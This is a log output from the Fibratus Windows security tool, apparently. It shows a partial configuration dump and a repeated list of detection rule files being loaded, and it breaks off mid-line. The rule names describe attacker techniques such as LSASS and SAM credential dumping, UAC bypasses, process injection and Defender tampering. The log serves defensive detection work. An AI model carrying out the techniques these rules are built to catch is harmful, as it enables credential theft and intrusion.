tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] method=>POST timeout=>5s enabled=>false serializer=>json] amqp=>[ timeout=>5s passive=>false tls-insecure-skip-verify=>false durable=>false vhost=>/ exchange=>fibratus exchange-type=>topic enabled=>false delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false timeout=>5s healthcheck=>true flush-period=>1s enabled=>false sniff=>false gzip-compression=>false healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] enabled=>false skip-allocs=>false fastscan=>true skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:53:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:53:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:53:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:53:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:53:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:04:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T22:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from 